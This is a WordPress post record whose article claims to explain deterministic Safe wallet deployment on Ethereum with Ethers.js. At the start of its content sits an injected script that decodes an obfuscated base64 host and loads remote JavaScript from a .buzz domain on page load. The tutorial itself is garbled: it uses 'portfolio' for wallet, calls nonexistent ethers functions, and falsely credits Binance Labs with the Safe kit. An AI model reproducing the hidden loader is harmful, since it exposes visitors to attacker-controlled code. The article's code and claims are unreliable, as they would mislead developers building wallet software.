{"id":287,"date":"2025-02-08T03:46:56","date_gmt":"2025-02-08T03:46:56","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=287"},"modified":"2025-02-08T03:46:56","modified_gmt":"2025-02-08T03:46:56","slug":"ethereum-how-to-deploy-a-safe-wallet-in-a-deterministic-way-depending-on-user-eoa-address","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=287","title":{"rendered":"Ethereum: How to Deploy a Safe Wallet in a Deterministic Way Depending on User EOA Address?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=3b288c5d\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here is an article on how to deploy a safe portfolio in a deterministic manner according to the EOA address of the user using the security and Ethers.js:<\/p>\n<\/p>\n<p><strong> Title: <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How to Deploy a Safe Wallet in a Deterministic Way Depending on User EOA Address?\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/2ccaefba.png\"><\/p>\n<p> Deploy a safe portfolio with a deterministic deployment based on EOA: a guide<\/p>\n<\/p>\n<p><strong>Introduction<\/strong><\/p>\n<\/p>\n<p>As a developer working with decentralized applications (DAPP), you have probably encountered the need to deploy portfolios in complete safety and deterministic. In this article, we will explore how to create a safe wallet using the safety and Ethers.js. ).<\/p>\n<\/p>\n<p><strong> Understand the safe protocol kit <\/strong><\/p>\n<\/p>\n<p>The SAFE protocol kit is an open source library developed by Binance Labs which provides a set of tools to build secure and decentralized applications. The safe protocol allows you to deploy portfolios and other intelligent contracts specific to the application in a deterministic way, ensuring that the portfolio is fixed and infiltrated.<\/p>\n<\/p>\n<p><strong> Deployment based on EOA <\/strong><\/p>\n<\/p>\n<p>To implement EOA -based deployment, we will use the <code>Ethers library.js<\/code> to interact with the Ethereum blockchain. We are going to create a function that takes an EOA address as a starter and returns a unique portfolio address based on this EOA.<\/p>\n<\/p>\n<p>`<code>Javascript<\/p>\n<\/p>\n<p>Import {Ethers} de 'Ethers';<\/p>\n<\/p>\n<p>Const generatewalletaddress = (eoaaddress) => {<\/p>\n<\/p>\n<p>  \/\/ Use the Ethers library drift function to generate a new portfolio address.<\/p>\n<\/p>\n<p>  Const walletaddress = ethers.ethers.utils deriveaddress (eoaaddress, 4);<\/p>\n<\/p>\n<\/p>\n<p>  Return Walletaddress;<\/p>\n<\/p>\n<p>};<\/p>\n<\/p>\n<p><\/code><code>'<\/p>\n<\/p>\n<p><strong> Deployment of safe portfolio <\/strong><\/p>\n<\/p>\n<p>Now that we have a function to generate a unique portfolio address based on an EOA, we can use it to deploy the safe wallet. We are going to create a new safe portfolio with a fixed portfolio address and define your condition to be determined.<\/p>\n<\/p>\n<p><\/code><code>Javascript<\/p>\n<\/p>\n<p>Const Safewallet = New Ethers.Wallet (generatewalletaddress ('0x ...'), '1');<\/p>\n<\/p>\n<p><\/code><code>'<\/p>\n<\/p>\n<p>To ensure that the deployment of the portfolio is determined on the EOA, we can use the<\/code>Getfactory function&#8221; of the library of the Library <code>Ethers.js' to obtain a new Wallet factory instance for each EOA address. We will then define the state of the safe portfolio to be determined by defining its portfolio address and defining the state on<\/code>0x &#8230;<code>.<\/p>\n<\/p>\n<p><\/code><code>Javascript<\/p>\n<\/p>\n<p>Const wallets = {<\/p>\n<\/p>\n<p>  '0x ...': safewallet,<\/p>\n<\/p>\n<p>};<\/p>\n<\/p>\n<p>Safewallet.setfactory (\"SafewalletFactory\", portfolio);<\/p>\n<\/p>\n<p><\/code><code>'<\/p>\n<\/p>\n<p><strong> Deterministic deployment based on EOA <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/3mbE4UM1lOc\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>To deploy the safe portfolio according to a specific EOA, we can simply use the address of the portfolio generated and define its condition to be deterministic. The \u201cEthers.js\u201d library will automatically generate a new portfolio body for this EOA.<\/p>\n<\/p>\n<p><\/code><code>Javascript<\/p>\n<\/p>\n<p>Const eoaaddress = '0x ...';<\/p>\n<\/p>\n<p>Safewallet.setfactory ('Safewalletfactory', {Walletaddress: Generatewalletaddress (Eoaaddress)});<\/p>\n<\/p>\n<p><\/code><code>'<\/p>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<\/p>\n<p>In this article, we have demonstrated how to deploy a safe portfolio with a deterministic deployment based on EOA using the Safe and Ethers.js protocol kit. By generating unique wallet addresses depending on the EOA addresses of the user and the definition of their states to be determined, you can make sure that your applications are secure and infiltrated.<\/p>\n<\/p>\n<p><strong> Example of use cases <\/strong><\/p>\n<\/p>\n<p>Here is an example of how you could use this function in a deployment script:<\/p>\n<\/p>\n<p><\/code><code>Javascript<\/p>\n<\/p>\n<p>Conpondysafewallet = async () => {<\/p>\n<\/p>\n<p>  to try {<\/p>\n<\/p>\n<p>    Const eoaaddress = '0x ...';<\/p>\n<\/p>\n<p>    Const walletaddress = generatewalletaddress (eoaaddress);<\/p>\n<\/p>\n<\/p>\n<p>    \/\/ Deterministe the state of the safe portfolio.<\/p>\n<\/p>\n<p>    safewallet.setfactory ('Safewalletfactory', {Walletaddress});<\/p>\n<\/p>\n<\/p>\n<p>    Console.log (<\/code>Safe Sallet deployed with the address: $ {Walletaddress}<code>);<\/p>\n<\/p>\n<p>  } Catch (error) {<\/p>\n<\/p>\n<p>    Console.error (error);<\/p>\n<\/p>\n<p>  }<\/p>\n<\/p>\n<p>};<\/p>\n<\/p>\n<p><\/code>` &#8216;<\/p>\n<\/p>\n<p>By following these steps, you can create a secure and deterministic portfolio which is based on the EOA addresses of the user.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is an article on how to deploy a safe portfolio in a deterministic manner according to the EOA address of the user using the security and Ethers.js: Title: Deploy a safe portfolio with a deterministic deployment based on EOA: a guide Introduction As a developer working with decentralized applications (DAPP), you have probably encountered [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/287"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=287"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/287\/revisions"}],"predecessor-version":[{"id":288,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/287\/revisions\/288"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}